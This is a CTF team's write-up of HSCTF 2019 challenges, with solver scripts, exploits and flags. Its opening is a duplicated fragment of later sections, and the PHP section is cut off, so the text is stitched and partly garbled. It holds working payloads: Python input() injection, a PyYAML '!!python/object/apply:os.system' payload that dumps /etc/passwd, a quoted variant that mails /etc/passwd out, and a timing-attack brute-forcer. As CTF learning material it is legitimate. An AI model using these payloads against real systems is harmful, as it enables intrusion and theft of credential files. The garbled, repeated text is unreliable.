DATA={'password':flag}r=requests.post(url=URL,data=DATA)realtime=r.elapsed.total_seconds()print("The Current Time:"+str(realtime)) # printing for debugging
for i in range(len(charset)): DATA={'password':flag+charset[i]} r=requests.post(url=URL,data=DATA) nexttime=r.elapsed.total_seconds() print("[+]Testing:"+str(nexttime)) # printing for debugging if(realtime+0.4<nexttime): realtime=nexttime if(charset[i]=='}'): print("The final flag is"+flag ) exit(0) flag+=charset[i] print("Current flag->"+ flag) i=0exit(0)```Here's the flag after so much running `hsctf{sm0l_fl4g}`Glad they had the small flag.
# **FORENSICS**
## Double Trouble :
> description:
### Solution:
After downloading image you see both are quite similar .
 
So, First thing i did to check hexes and I see bytes aren't similar . Then first thing first for a forensic challenge [stegsolve](https://github.com/zardus/ctf-tools/blob/master/stegsolve/install).
Opening it on command line `java -jar stegsolve.jar`
I tried image combiner to do AND , OR , XOR operations.But no luck.So i tried strings exiftool then reached zsteg and the output was:```streaker@DESKTOP-DS7FIJL:$ zsteg koala.png/usr/lib/ruby/2.5.0/open3.rb:199: warning: Insecure world writable dir /mnt/c in PATH, mode 040777imagedata .. text: "\n\n\n\n\n\n !"b1,b,lsb,xy .. text: "%q&),52+"b1,bgr,lsb,xy .. text: " |
A High School CTF event.
We tried to solve challenges as much as possible we can and as a result we secured 23rd position globally.

As you can see from the image we lacks in binary exploitation or pwn challenges field.If anyone interested can contact us :smiley:.
Challenge Name | Points | Flag------------ | ------------- | --------------- [A Simple Conversation](#a-simple-conversation-)| 158| hsctf{plz_u5e_pyth0n_3} |[Broken Repl](#broken_repl-) | 407| hsctf{dont_you_love_parsers} |[Hidden Flag](#hidden-flag-) | 290 | hsctf{n0t_1nv1s1bl3_an5m0r3?-39547632} |[64+word](#64word--) | 421| hsctf{b4s3_64_w0rd_s3arch3s_ar3_fu9?} |[Broken gps](#broken-gps-) | 280| hsctf{garminesuckz} |[Real Reversal](#realreversal-) | 274| hsctf{utf8_for_the_win} |[Json Info](#jsoninfo-) | 427| hsctf{JS0N_or_Y4ML} |[Massive Rsa](#massive-rsa-) | 256 | hsctf{forg0t_t0_mult1ply_prim3s} |[Really Secure Algorithm](#really-secure-algorithm-) | 314 | hsctf{square_number_time} |[Tux Kitchen](#tux-kitchen-) | 401 | hsctf{thiii111iiiss_isssss_yo0ur_b1rthd4y_s0ng_it_isnt_very_long_6621} |[I Thought Trig Was Really Easy](#i-thought-trig-was-really-easy-) | 374 |hsctf{:hyperthonk:} |[Tux Talk Show 2019](#tux-talk-show-2019) | 406 | hsctf{n1ce_j0b_w4th_r4ndom_gue33ing} |[Bitecode](#bitecode--) | 377|hsctf{wH04_u_r_2_pr0_4_th1$} |[MD5--](#md5---) | 230 | hsctf{php_type_juggling_is_fun} |[Networked Password](#networked-password--) | 314 | hsctf{sm0l_fl4g} |[Double Trouble](#double-trouble-)| 397| hsctf{koalasarethecutestaren'tthey?}
So I will try to discuss the challenges i loved the *most* here:
# **MISC**
## A Simple Conversation-:> description:
### Solution: On looking to the section of source code we see
```pythonprint("What's your age?")
age = input("> ")
sleep(1)
```Then I try to think that when it parses the input to input() function then it tries to evaluate it first that is it string , dictionary ,tuple or etc.? So guessing the flag on the server I try to send the arguments as you can see.
```streaker@DESKTOP-DS7FIJL:$ nc misc.hsctf.com 9001Hello!Hey, can you help me out real quick.I need to know your age.What's your age?> open("flag").read()Traceback (most recent call last): File "talk.py", line 18, in <module> age = input("> ") File "<string>", line 1, in <module>IOError: [Errno 2] No such file or directory: 'flag'streaker@DESKTOP-DS7FIJL:$ nc misc.hsctf.com 9001Hello!Hey, can you help me out real quick.I need to know your age.What's your age?> open("flag.txt").read()Wow!Sometimes I wish I was hsctf{plz_u5e_pyth0n_3}...```There you can see the flag:`hsctf{plz_u5e_pyth0n_3}`
## Broken_Repl-:> description:
### Solution: ```python try: # try to compile the input code = compile(line, "<input>", "exec") # compile the line of input except (OverflowError, SyntaxError, ValueError, TypeError, RecursionError) as e: # user input was bad print("there was an error in your code:", e) # notify the user of the error if False: exec(code) # run the code # TODO: find replacement for exec # TODO: exec is unsafeexcept MemoryError: # we ran out of memory # uh oh # lets remove the flag to clear up some memory print(flag) # log the flag so it is not lost```You can see that you have to cause memory error only. So my teammate Lucas looked on web and finds out [this](https://stackoverflow.com/questions/50709371/ast-literal-eval-memory-error-on-nested-list).So you can see that we can cause memory error from nested list.Great learning :smiley:
```pythonecho "[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]" | nc misc.hsctf.com 8550>>> s_push: parser stack overflowhsctf{dont_you_love_parsers}```There is the flag:`hsctf{dont_you_love_parsers}` ## Hidden Flag-:> description:
### Solution: I opened up my hexeditor HXD a great tool to change and view the hexes of file quite easily and I see messed up bytes in beginning. Then at the end of the file i see some text `key is invisible`. So then i realise that the bytes must be xored with the key and we got it by this [script](assets/misc/fixchall.py). ```pythonimport binasciifrom itertools import cycle,izip
f=open("chall.png")g=(f.read())key="invisible"ciphered = ''.join(chr(ord(c)^ord(k)) for c,k in izip(g, cycle(key)))l=open("fixed.png","a+")l.write(ciphered)
```That's it :smiley:
## 64+Word -:> description:
### Solution :So from the description we see the word search and challenge name is 64+. So we need to do base64 word search of flag.Be sure as the base64 encode texts are multiple of 4 . So choose the texts accordingly.Here is the [Script](/assets/misc/ord64.py)
```pythonfrom base64 import *file=open("64word.txt")data=file.read().split("\n")o=0while o<100: g=data[o:] for q in range(100): j=q s="" for i in g: if j>=len(i): break s+=i[j] j+=1 possible_text=(b64decode(s[:4*(len(s)//4)])) if "hsctf{" in possible_text[:6]: end_ind=possible_text.find('}')+1 print("The flag is "+ possible_text[:end_ind] ) exit(0) o+=1
```
then there is the flag:`hsctf{b4s3_64_w0rd_s3arch3s_ar3_fu9?}`
## Broken gps-:> description:Input Format:
A challenge to test some coding skills.
### Solution:Here's the [script](assets/misc/dir_gps.py) thats explain it all.
```pythonimport math
suffix=".txt"flag=""dirs=["east","west","south","north","northwest","northeast","southeast","southwest"]for i in range(1,13): up=0 right=0 filename=str(i)+suffix f=open(filename) h=(f.read()).split() for q in range(int(h[0])): pos=dirs.index(h[q+1]) if pos==0 or pos==5 or pos==6: right+=1 if pos==1 or pos==4 or pos==7: right-=1 if pos==3 or pos==4 or pos==5: up+=1 if pos==2 or pos==6 or pos==7: up-=1 flag+=chr(round(math.sqrt(up*up+right*right)*2)%26+97)print('hsctf{'+flag+'}') ```and here is the output:>hsctf{garminesuckz}
another script as well written by teammate in a more formal way :```pythonimport numpy as npfrom math import sqrt
dict_direction = { "north": np.array([ 0.0, 1.0]), "northeast": np.array([ 1.0, 1.0]), "northwest": np.array([-1.0, 1.0]), "east": np.array([ 1.0, 0.0]), "south": np.array([ 0.0,-1.0]), "southeast": np.array([ 1.0,-1.0]), "southwest": np.array([-1.0,-1.0]), "west": np.array([-1.0, 0.0])}
def distance(point1, point2): x1, y1 = point1 x2, y2 = point2 return sqrt((x2 - x1)**2 + (y2 - y1)**2)
flag = ""
for filename in range(1,13):
position_wrong = np.array([0.0, 0.0]) position_right = np.array([0.0, 0.0])
with open(f"{filename}.txt") as f: coords = f.read().strip().split('\n')[1:]
for coord in coords: position_wrong += dict_direction[coord] position_right -= dict_direction[coord]
flag += chr(ord('a') + round(distance(position_wrong, position_right)) % 26)
print(f"hsctf{{{flag}}}")```
## RealReversal-:> description:
### Solution:On opening file we see
Reversing the file means reversing the hexes.So one liner will do that
```open("reversed_reversed.txt", "wb").write(open("reversed.txt", "rb").read()[::-1])```
and on opening reversed file you see utf-8 chars
Explanation:Why it happens that on the reverse bytes we can't see any characters, because
>UTF-8 is a variable width character encoding capable of encoding all 1,112,064 valid code points in Unicode using one to four 8-bit bytes.
So on reversing 8 bytes it messed up as it reversed in two parts of four and four.Thus resulting in random chars.So you can see the flag now in reverse order:`hsctf{utf8_for_the_win}`
## JsonInfo-:> description:
### Solution:Trying few thing we see that it accepts string and shows that it's json or give the error otherwise.So we quite stuck on thinking that what kind of error we have to produce.Then googling skills had to come as it is misc, so we found a beautiful [link](https://bzdww.com/article/164589/) and in section 5 we see yaml.loadand here is the warning:
>Refer to the PyYAML documentation:
>Warning: It is not safe to call yaml.load with data received from an untrusted source! Yaml.load is just as powerful as pickle.load, so you can call any Python function.In this beautiful example found in the popular Python project Ansible , you can provide this value as (valid) YAML to Ansible Vault, which calls os.system() with the parameters provided in the file.
>!!python/object/apply:os.system ["cat /etc/passwd | mail [email protected]"]Therefore, effectively loading YAML files from user-supplied values will open the door for attacks.
>repair:
>Always use yaml.safe_load unless you have a very good reason.
So we tried to do these thing as instructed here to see if the vulnerability is here:
```Welcome to JSON info!Please enter your JSON:!!python/object/apply:os.system ["cat /etc/passwd "]root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologinsyslog:x:101:102::/home/syslog:/usr/sbin/nologinType int is unsupportedPlease use a valid JSON array or objectThank you for using JSON info!
```So, yeah the vulnerability is here, Great!!!
```streaker@DESKTOP-DS7FIJL:$ nc -q 1 misc.hsctf.com 9999Welcome to JSON info!Please enter your JSON:!!python/object/apply:os.system ["cat flag.txt"]hsctf{JS0N_or_Y4ML}Type int is unsupportedPlease use a valid JSON array or objectThank you for using JSON info!```The flag is:`hsctf{JS0N_or_Y4ML}`
# **CRYPTO**
## Massive Rsa-:> description:
### Solution:
We are given with large modulus and ciphertext```n = 950687172821200540428729809153981241192606941085199889710006512529799315561656564788637203101376144614649190146776378362001933636271697777317137481911233025291081331157135314582760768668046936978951230131371278628451555794052066356238840168982528971519323334381994143826200392654688774136120844941887558297071490087973944885778003973836311019785751636542119444349041852180595146239058424861988708991060298944680661305392492285898022705075814390941667822309754536610263449507491311215196067928669134842614154655850281748314529232542980764185554607592605321212081871630106290126123668106453941684604069442637972979374182617204123679546880646955063471680804611387541602675808433185504968764805413712115090234016146947180827040328391684056285942239977920347896230959546196177226139807640271414022569186565510341302134143539867133746492544472279859740722443892721076576952182274117616122050429733446090321598356954337536610713395670667775788540830077914016236382546944507664840405622352934380411525395863579062612404875578114927946272686172750421522119335879522375883064090902859635110578120928185659759792150776022992518497479844711483878613494426215867980856381040745252296584054718251345106582780587533445417441424957999212662923937862802426711722066998062574441680275377501049078991123518677027512513302350533057609106549686502083785061647562269181863107725160293272971931807381453849850066056697913028167183570392948696346480930400320904644898839942228059188904225142187444604612121676565893284697317106343998167640380023972222033520190994951064491572372368101650142992876761420785551386138148283615194775971673577063363049929945959258097086463812469068598955485574579363616634109593903116561526921965491646400040600138481505369027344295330767163087489333402201631708610718911106905154471963379233672543874307197342217544783263700843246351822145605839955798639016346308363889766574606793652730311687899415585873892778899179927359964882217066947566799298173326850382334054179474389651499891117938361854701587568363867264590395711833275763832842002504433841816245069655064326325306033334336469743800464944131049874472540605264250854258280373869113420817955012823462838351481855289027030577957168468047751024562853260494808998446682723835213272609799649864902376137320638444968430858790173696935815430513690803796736064125183005539073920032869713201073105497655763097638587404309062750746064609677994654409535743453776560694719663801069746654445359756195253816544699551e = 65537c = 358031506752691557002311547479988375196982422041486602674622689505841503255891193495423484852537391230787811575487947331018616578066891850752360030033666964406349205662189685086812466246139857474435922486026421639388596443953295273675167564381889788905773472245885677132773617051291379731995063989611049809121305468803148551770792609803351375571069366930457307762595216806633327492195442616272627113423143562166655122764898972565860928147259322712805600875994388377208017608434714747741249858321487547543201109467214209112271771033615033493406609653861223917338109193262445432032609161395100024272041503554476490575517100959892951805088735483927048625195799936311280172779052715645263075391841840633949032397082918665057115947698884582406130793211266028238396814146117158924884049679536261009188784571232730683037831940224049822081316216826346444136538278601803972530054219050666898301540575647763640218206611889707353810593843233814867745903144987805142815936160730054575462147126944741419094810558325854901931279755547624294325463528887326262902481099025253153222985717157272371423956465138892784879439141174797253720403065191378958340033965895823856879711180993895832306970105743588207727415495184380531676665121800713201192348940665501790550763379781627493441276077597720109700408848080221149485596419299548121287851605588246207568970548444975309457244824469026820421430723018384050095117420646392648577894835705672984626936461419833136418809219064810002991383584690376016818146065548853387107821627387061145659169570667682815001659475702299150425968489723185023734605402721950322618778361500790860436305553373620345189103147000675410970964950319723908599010461359668359916257252524290941929329344189971893558606572573665758188839754783710992996790764297302297263058216442742649741478512564068171266181773137060969745593802381540073397960444915230200708170859754559500051431883110028690791716906470624666328560717322458030544811229295722551849062570074938188113143167107247887066194761639893865268761243061406701905009155852073538976526544132556878584303616835564050808296190660548444328286965504238451837563164333849009829715536534194161169283679744857703254399005457897171205489516009277290637116063165415762387507832317759826809621649619867791323227812339615334304473447955432417706078131565118376536807024099950882628684498106652639816295352225305807407640318163257501701063937626962730520365319344478183221104445194534512033852645130826246778909064441514943```It's really large. So I thought to check anyways on ecc factoring for its to be prime and we got that its really a massive prime number.So then I realize that choosing a large modulus so that it can be factorized into p & q which should be unknown for the sake of security. But if its a prime number then we have to just calculate euler totient of n i.e. n-1 to exploit it, and then calculate `d=modInverse(e,phi(n))` and tada! we have private exponent, then just basic stuffs.```python>>> import binascii>>> binascii.unhexlify(hex(pow(c,d,n))[2:])'hsctf{forg0t_t0_mult1ply_prim3s}'```So the flag is :`hsctf{forg0t_t0_mult1ply_prim3s}`
## Really Secure Algorithm-:> description:
### Solution:
We are given with modulus and ciphertext```n = 263267198123727104271550205341958556303174876064032565857792727663848160746900434003334094378461840454433227578735680279553650400052510227283214433685655389241738968354222022240447121539162931116186488081274412377377863765060659624492965287622808692749117314129201849562443565726131685574812838404826685772784018356022327187718875291322282817197153362298286311745185044256353269081114504160345675620425507611498834298188117790948858958927324322729589237022927318641658527526339949064156992164883005731437748282518738478979873117409239854040895815331355928887403604759009882738848259473325879750260720986636810762489517585226347851473734040531823667025962249586099400648241100437388872231055432689235806576775408121773865595903729724074502829922897576209606754695074134609e = 65537c = 63730750663034420186054203696069279764587723426304400672168802689236894414173435574483861036285304923175308990970626739416195244195549995430401827434818046984872271300851807150225874311165602381589988405416304964847452307525883351225541615576599793984531868515708574409281711313769662949003103013799762173274319885217020434609677019589956037159254692138098542595148862209162217974360672409463898048108702225525424962923062427384889851578644031591358064552906800570492514371562100724091169894418230725012261656940082835040737854122792213175137748786146901908965502442703781479786905292956846018910885453170712237452652785768243138215686333746130607279614237568018186440315574405008206846139370637386144872550749882260458201528561992116159466686768832642982965722508678847```Then I factored n on factordb.I got that n is the square of a prime number.Then just again simple basic stuffs calculate euler totient of n i.e. p*(p-1) , and then calculate `d=modInverse(e,phi(n))` and tada we have private exponent, then just basic stuffs.
```>>> p=16225510719965861964299051658340559066224635411075742500953901749924501886090804067406052688894869028683583501052917637552385089084807531319036985272636554557876754514524927502408114799014949174520357440885167280739363628642463479075654764698947461583766215118582826142179234382923872619079721726020446020581078274482268162477580369246821166693123724514271177264591824616458410293414647>>> import gmpy2>>> d=gmpy2.invert(e,p*(p-1))>>> import binascii>>> binascii.unhexlify(hex(pow(c,d,n))[2:])'hsctf{square_number_time}'```So the flag is :`hsctf{square_number_time}`
## Tux Kitchen-:> description:
### Solution:Here's the problem
```pythonimport random
good_image = """ TUX's KITCHEN ..- - . ' `. '.- . .--. . |: _ | : _ :| |`(@)--`.(@) | : .' `-, : :(_____.-'.' ` : `-.__.-' : ` _. _. . / / `_ ' \\ . . : \\ \\ . : _ __ .\\ . . / : `. \\ : / ' : `. . ' ` : : : `. .`_ : : / ' | :' \\ . : '__ : .--' \\`-._ . .' : `). ..| \\ ) : '._.' : ; \\-'. ..: / '. \\ - ....- | ' -. : _____ | .' ` -. .'-- --`. .' `-- -- """
flag = open('flag.txt','r').read()MY_LUCKY_NUMBER = 29486316
# I need to bake special stuff!def bake_it(): s = 0 for i in range(random.randint(10000,99999)): s = random.randint(100000000000,999999999999) s -= random.randint(232,24895235) return random.randint(100000000000,999999999999)
# Create my random messdef rand0m_mess(food,key): mess = [] mess.append(key) art = key bart = bake_it() cart = bake_it() dart = bake_it() for i in range(len(food)-1): art = (art*bart+cart)%dart mess.append(art) return mess
# Gotta prepare the food!!!def prepare(food): good_food = [] for i in range(len(food)): good_food.append(food[i]^MY_LUCKY_NUMBER) for k in range(len(good_food)): good_food[i] += MY_LUCKY_NUMBER return good_food
# Bake it!!!def final_baking(food,key): baked = rand0m_mess(food,key) treasure = [] for i in range(len(baked)): treasure.append(ord(food[i])*baked[i]) treasure = prepare(treasure) return treasure
print(good_image)key = bake_it()print(final_baking(flag,key))```great image .So at first we reversed the prepared treasure,but look closely here ```for k in range(len(good_food)): good_food[i] += MY_LUCKY_NUMBER```Iterator is k but i is used that is constant So we need to just xor for all the numbers with the lucky number.Then to reverse this line `treasure.append(ord(food[i])*baked[i])`
I need to find `baked[i]` for which I see the random_mess function which is nothing other than [LCG](https://en.wikipedia.org/wiki/Linear_congruential_generator) itself.So we know the starting of flag is 'hsctf{'.Then accordingly we calculated first six values of the sequence and with the help of works of msm from p4team on lcg we used the [script](assets/crypto/fullscript.py) to get the flag .This might fail sometime because of gcd(modulo , numbers ) !=1 or modulus isn't prime .So we have to test this for a while to get the result.
```pythonfrom functools import reducefrom gmpy2 import *
def crack_unknown_increment(states, modulus, multiplier): increment = (states[1] - states[0]*multiplier) % modulus return modulus, multiplier, increment
def crack_unknown_multiplier(states, modulus): multiplier = (states[2] - states[1]) * invert(states[1] - states[0], modulus) % modulus return crack_unknown_increment(states, modulus, multiplier)
def crack_unknown_modulus(states): diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])] zeroes = [t2*t0 - t1*t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])] modulus = abs(reduce(gcd, zeroes)) return crack_unknown_multiplier(states, modulus)
st=input("enter the states:")g=stfor i in range(len(g)): g[i]^= 29486316 # the lucky number#print("treasure",g) #check for purpose flag="hsctf{"m=[]for i in range(len(flag)): if g[i]%ord(flag[i])==0: m+=[g[i]//ord(flag[i])] n,k,d = crack_unknown_modulus(m)print('modulo-> %d \t multiplier-> %d \t increment -> %d ' % (n,k,d))
w=[m[0]]for q in range(1,70): w+= [(w[q-1]*k+d) % n] # the sequence
if m==w[:6]: print("this worked") # usual checkans=[]for i in range(70): ans+=[g[i]//w[i]] #generating flag
print(''.join(chr(i) for i in ans))
```
If you want to test this for yourself here are the [used numbers](assets/crypto/ans.txt):-Here is the flag after we ran the script `hsctf{thiii111iiiss_isssss_yo0ur_b1rthd4y_s0ng_it_isnt_very_long_6621}`
# **REVERSAL**
## I Thought Trig Was Really Easy-:> description:
### Solution:
The problem is here as:
```pythonimport math
def nice_math(x, y): return round(x + y*math.cos(math.pi * x))
lots_of_nums = lambda n,a:(lambda r:[*r,n-sum(r)])(range(n//a-a//2,n//a+a//2+a%2))
def get_number(char): return ord(char) - 96
inp = input("Enter the text: ")
out = []for i in range(0, len(inp)): for j in lots_of_nums(nice_math(get_number(inp[i]), len(inp) - i), i + 1): out.append(nice_math(j, i + 1))
ans = [-25, 1, 10, 7, 4, 7, 2, 9, 3, 8, 1, 10, 3, -1, -8, 3, -6, 5, -4, 7, -5, 8, -3, 10, -1, 12, 10, 7, -6, 9, -4, 11, -2, 13, -2, -11, 6, -9, 8, -7, 10, -5, 12, 1, -12, 7, -10, 9, -8, 11, -6, 13, -4, 11, 6, -13, 8, -11, 10, -9, 12, -7, 14, -5, 22, -16, 7, -14, 9, -12, 11, -10, 13, -8, 15, -6, -2, 2, -21, 4, -19, 6, -17, 8, -15, 10, -13, 12, -11, 5]if (out == ans): print("That is correct! Flag: hsctf{" + inp + "}")else: print("Nope sorry, try again!")```So we see lot_of_nums which is very wierd trying to reverse the function looks difficult .So we see that each position of the flag depends upon the length of the flag and the character in this line `nice_math(get_number(inp[i]), len(inp) - i), i + 1`.That's nice_math function also looks difficult to reverse.
So I tried to simply bruteforce it on the set of characters and we calculated the length of the flag on the basis of length of list ans `(((12+1)*(12+2)/2)-1)`.This was faster to do so i did it!
```pythonimport math
def nice_math(x, y): return round(x + y*math.cos(math.pi * x))
lots_of_nums = lambda n,a:(lambda r:[*r,n-sum(r)])(range(n//a-a//2,n//a+a//2+a%2))
def get_number(char): return ord(char) - 96charset="_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!:@#$%*-'"inp = ""flag=""l=1while l<=12: x=0 while x<len(charset): inp=flag+charset[x]+"b"*(12-l) assert(len(inp)==12) out = [] for i in range(0, len(inp)): for j in lots_of_nums(nice_math(get_number(inp[i]), len(inp) - i), i + 1): out.append(nice_math(j, i + 1))
ans = [-25, 1, 10, 7, 4, 7, 2, 9, 3, 8, 1, 10, 3, -1, -8, 3, -6, 5, -4, 7, -5, 8, -3, 10, -1, 12, 10, 7, -6, 9, -4, 11, -2, 13, -2, -11, 6, -9, 8, -7, 10, -5, 12, 1, -12, 7, -10, 9, -8, 11, -6, 13, -4, 11, 6, -13, 8, -11, 10, -9, 12, -7, 14, -5, 22, -16, 7, -14, 9, -12, 11, -10, 13, -8, 15, -6, -2, 2, -21, 4, -19, 6, -17, 8, -15, 10, -13, 12, -11, 5] g=((l+1)*(l+2)//2)-1 if(out[:g]==ans[:g]): flag+=charset[x] break x+=1 l+=1
print('The flag is:hsctf{'+flag+'}')```The flag is: `hsctf{:hyperthonk:}`
## Tux Talk Show 2019:> description:
### Solution:
For this challenge it says about a lucky number.```Welcome to Tux Talk Show 2019!!!Enter your lucky number:```So we opened the ghidra for pseudocode:```c// modified a bit by me int main(int argc,char **argv)
{ long lVar1; int rand; time_t time; basic_ostream *this; long in_FS_OFFSET; int input; int i; int acc; int j; int array [6]; basic_string output_string [32]; basic_istream output_stream [520]; long stack_cookie_i_guess; lVar1 = *(long *)(in_FS_OFFSET + 0x28); basic_ifstream((char *)output_stream,0x1020b0); time = time((time_t *)0x0); srand((uint)time); /* try { // try from 0010127e to 001012c0 has its CatchHandler @ 00101493 */ this = operator<<<std--char_traits<char>> ((basic_ostream *)cout,"Welcome to Tux Talk Show 2019!!!"); operator<<((basic_ostream<char,std--char_traits<char>> *)this,endl<char,std--char_traits<char>>); operator<<<std--char_traits<char>>((basic_ostream *)cout,"Enter your lucky number: "); operator>>((basic_istream<char,std--char_traits<char>> *)cin,&input); array[0] = 0x79; array[1] = 0x12c97f; array[2] = 0x135f0f8; array[3] = 0x74acbc6; array[4] = 0x56c614e; array[5] = -0x1e; i = 0; while (i < 6) { rand = rand(); array[(long)i] = array[(long)i] - (rand % 10 + -1); i = i + 1; } acc = 0; j = 0; while (j < 6) { acc = acc + array[(long)j]; j = j + 1; } if (acc == input) { ... } return 0;}```here we have 6 numbers in an array and its being added after subtracting this `(iVar1 % 10 + -1)`and if our assumed number is correct than it will give the flag for us.
So two ways we can solve it ,during the team discussion over this challenge I told them that I can write brute as the numbers are in the small range i.e 51 .Meanwhile the other way as my teammate suggested was to attack the rand function . I would explain both here.
```pythonfrom pwn import *
a=[121, 1231231, 20312312, 122342342, 90988878, -30]host="rev.hsctf.com"port=6767
m=sum(a)-48g=sum(a)+6 # setting the rangeinp=m+16 #this is where i am guessing the number and try to run multiple times in the loopwhile inp<g+1: try: s=remote(host,port) print(s.recvline()) s.sendline(str(inp)) j=s.recvline() if "hsctf{" in j: print(j) s.close() exit(0) print(j) except: s.close() sleep(1) continue```Luckily, I got the flag from there `hsctf{n1ce_j0b_w4th_r4ndom_gue33ing}` The second approach is here, save it as time.c and compile to a.out:```c#include "stdio.h"#include "stdlib.h"
int main(int argc, char *argv[]) {
time_t t; srand((unsigned) time(&t);;
int array[6] = {0x79, 0x12c97f, 0x135f0f8, 0x74acbc6, 0x56c614e, -0x1e};
int acc = 0; for(int i = 0; i < 6; i++) acc += array[(long)i] - (rand() % 10 + -1);
printf("%d\n", acc); return 0;}```and use it over this script ```pythonfrom pwn import *import time
host = "rev.hsctf.com"port = 6767
s = remote(host,port)p = process("./a.out")
res = p.recvline()
s.recvuntil(':')s.sendline(res)s.interactive()```That's it , An attack over the rand function while running the netcat server.
## Bitecode -:> description:
### Solution:This Challenge was done by Lucas my teammate So I will try to explain as far as i know as he is not writing writeups.
http://www.javadecompilers.com/ Use it for decompiling the given class file to [java file](assets/reversing/BiteCode.java).
So lot of ifs for checking single characters of the flag one by one .So using regexes he extracted them and tried to write a brute to choose them.
[Watch this video](https://youtu.be/rYOZHB_ABlo)[](https://youtu.be/rYOZHB_ABlo)
<video src="assets/reversing/regexislife.mp4" width="320" height="200" controls preload></video>
So that's it to write a script to get the flag:smiley:.```pythonb = ['A'] * 28for i in range(0xff): if (i ^ 189074585) - 189074673 == 0: b[0] = i if (i ^ -227215135) - -227215214 == 0: b[1] = i if (i ^ 19240864) - 19240899 == 0: b[2] = i if (i ^ 245881291) - 245881279 == 0: b[3] = i if (i ^ 233391094) - 233390992 == 0: b[4] = i if (i ^ 56978353) - 56978378 == 0: b[5] = i if (i ^ -213838484) - -213838565 == 0: b[6] = i if (i ^ -231671677) - -231671605 == 0: b[7] = i if (i ^ -132473862) - -132473910 == 0: b[8] = i if (i ^ 143449065) - 143449053 == 0: b[9] = i if (i ^ 108102484) - 108102411 == 0: b[10] = i if (i ^ 71123188) - 71123073 == 0: b[11] = i if (i ^ 146096006) - 146096089 == 0: b[12] = i if (i ^ -173487738) - -173487628 == 0: b[13] = i if (i ^ -116507045) - -116507132 == 0: b[14] = i if (i ^ -68013365) - -68013319 == 0: b[15] = i if (i ^ 171414622) - 171414529 == 0: b[16] = i if (i ^ 94412444) - 94412524 == 0: b[17] = i if (i ^ 197453081) - 197453163 == 0: b[18] = i if (i ^ -50622153) - -50622201 == 0: b[19] = i if (i ^ 190140381) - 190140290 == 0: b[20] = i if (i ^ 77383944) - 77383996 == 0: b[21] = i if (i ^ -41590082) - -41590047 == 0: b[22] = i if (i ^ 61204303) - 61204283 == 0: b[23] = i if (i ^ -24637751) - -24637791 == 0: b[24] = i if (i ^ 61697107) - 61697122 == 0: b[25] = i if (i ^ 267894989) - 267895017 == 0: b[26] = iprint(''.join([chr(i) for i in b[:-1]]))```Here's the flag `hsctf{wH04_u_r_2_pr0_4_th1$}`
# **WEB**
## MD5-- :> description:
### Solution:
```php
```From this you can see that flag contains the data of flag file and then value of md4 variable is set and after its value is compared to the md4(value) and then only we can obtain flag.
One thing to note that '==' comparison is used. This is where Type juggling comes. See for more [PHP Magic Tricks: Type Juggling](https://www.owasp.org/images/6/6b/PHPMagicTricks-TypeJuggling.pdf)
So what we will try to do to pick up a string which prefix would be '0e' for a reason then adding numbers ahead then calculate its md4 which will be equal to `/0e[0-9]{30}/`.So when the comparison is to be made then the strings will be treated as exponent of 0 (like 0e4=0). Thus both sides will be zero hence we will have our flag.```php {}".format(st, hashed_s) sys.exit(0) if s%10000000==0: print("[+] %d iterations done"%(s))
breakit()```Running this we get this after more than 250000000 iterations.> [+] found! md4( 0e251288019 ) ---> 0e874956163641961271069404332409
Here's our flag `hsctf{php_type_juggling_is_fun}`
## Networked Password -:> description:
### Solution:
We are given a https://networked-password.web.chal.hsctf.com/ which prompts us to submit a password having a simple form to fill it up, but from the description we see thats its delays some thing we don't know what until i saw a time differnece in our inputs like for a gibberish we see fast output but for a flag like "hsctf{" it delayed a bit. And there was a hint given as well-:
> Hint : You know the flag format
So after attempting few times i got that every character adds 0.45-0.5 seconds.But running this script you need a better internet connection.So i tried running using online interpeter there's are ton of available. You can use https://repl.it/languages/python3 or https://codeanywhere.com/editor/ you need these because of their fast servers.
And At last my first *timing attack challenge*. ```pythonimport requestsimport datetime
URL="https://networked-password.web.chal.hsctf.com/"charset="_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%*-'"flag="hsctf{"
DATA={'password':flag}r=requests.post(url=URL,data=DATA)realtime=r.elapsed.total_seconds()print("The Current Time:"+str(realtime)) # printing for debugging
for i in range(len(charset)): DATA={'password':flag+charset[i]} r=requests.post(url=URL,data=DATA) nexttime=r.elapsed.total_seconds() print("[+]Testing:"+str(nexttime)) # printing for debugging if(realtime+0.4<nexttime): realtime=nexttime if(charset[i]=='}'): print("The final flag is"+flag ) exit(0) flag+=charset[i] print("Current flag->"+ flag) i=0exit(0)```Here's the flag after so much running `hsctf{sm0l_fl4g}`Glad they had the small flag.
# **FORENSICS**
## Double Trouble :
> description:
### Solution:
After downloading image you see both are quite similar .
 
So, First thing i did to check hexes and I see bytes aren't similar . Then first thing first for a forensic challenge [stegsolve](https://github.com/zardus/ctf-tools/blob/master/stegsolve/install).
